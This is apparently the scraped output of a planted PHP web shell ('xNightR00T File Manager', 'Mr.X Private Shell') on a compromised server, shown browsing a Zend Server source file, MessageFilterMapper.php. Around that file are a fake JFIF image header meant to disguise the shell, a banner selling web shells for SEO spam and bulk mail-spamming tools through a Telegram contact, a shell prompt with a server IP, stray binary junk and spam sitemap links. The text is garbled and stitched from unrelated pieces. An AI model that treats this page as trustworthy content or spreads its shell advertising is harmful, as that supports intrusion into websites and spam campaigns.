xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Messages\Db;

use ZendServer\Log\Log,
    ZendServer\Set,
    Configuration\MapperAbstract,
    \Application\Db\TableGateway,
    Messages\MessageContainer,
    Messages\Db\MessageMapper,
    \Zend\Db\Sql\Select;

class MessageFilterMapper extends MapperAbstract
{
    /**
     * @var \Application\Db\TableGateway
     */
    protected $messagesGateway;

    /**
     * @return Set[MessageContainer]
     */
    public function findFilteredMessages()
    {
        $this->cleanMessages(); // first clean the db

        $filteredMessagesTable = $this->getTableName();
        $messagesTable         = $this->getMessagesGateway()->getTable();

        $select = new Select($messagesTable);
        $select->join($filteredMessagesTable, "{$messagesTable}.SUB_TYPE = {$filteredMessagesTable}.FILTER_TYPE",
            array(
            'SHOW_AT',
            ), Select::JOIN_LEFT);
        $select->where('SHOW_AT IS NULL');
        $select->order(array('MSG_ID' => 'ASC'));

        try {
            $resultSet = $this->getMessagesGateway()->selectWith($select); /* @var $rowset \Zend\Db\ResultSet\ResultSet */
        } catch (\Exception $e) {
            throw new \ZendServer\Exception("query failed with the following error: ".$e->getMessage());
        }

        return new Set($resultSet->toArray(), 'MessageContainer');
        return $resultSet->toArray();
    }

    public function cleanMessages()
    {
        $filterIdsToRemove = array_map(function($filter) {
            return $filter['FILTER_ID'];
        }, $this->select('SHOW_AT < '.time()));

        return $this->delete(array("FILTER_ID IN (".implode(",", $filterIdsToRemove).")"));
    }

    public function insertFilter($filterType, $minutesDelta)
    {
        $timestamp = time();
        $date      = new \DateTime($timestamp);
        $date->setTimestamp($timestamp);
        $date->modify("+{$minutesDelta} minutes");
        $show_at   = $date->getTimestamp();

        if (in_array($filterType, $this->findFilterTypes())) {
            return $this->update(array('SHOW_AT' => $show_at), array('FILTER_TYPE' => $filterType));
        } else {
            return $this->insert(array('FILTER_TYPE' => $filterType, 'SHOW_AT' => $show_at));
        }
    }

    /**
     * @return \Application\Db\TableGateway
     */
    public function getMessagesGateway()
    {
        return $this->messagesGateway;
    }

    /**
     * @param \Application\Db\TableGateway $messagesGateway
     */
    public function setMessagesGateway($messagesGateway)
    {
        $this->messagesGateway = $messagesGateway;
    }

    protected function findFilterTypes()
    {
        $select = new Select($this->getTableName());
        $select->columns(array('FILTER_TYPE'));

        return array_map(function($filter) {
            return $filter['FILTER_TYPE'];
        }, $this->selectWith($select));
    }
}

Filemanager

Name Type Size Permission Actions
MessageFilterMapper.php File 2.82 KB 0644
MessageMapper.php File 6.15 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml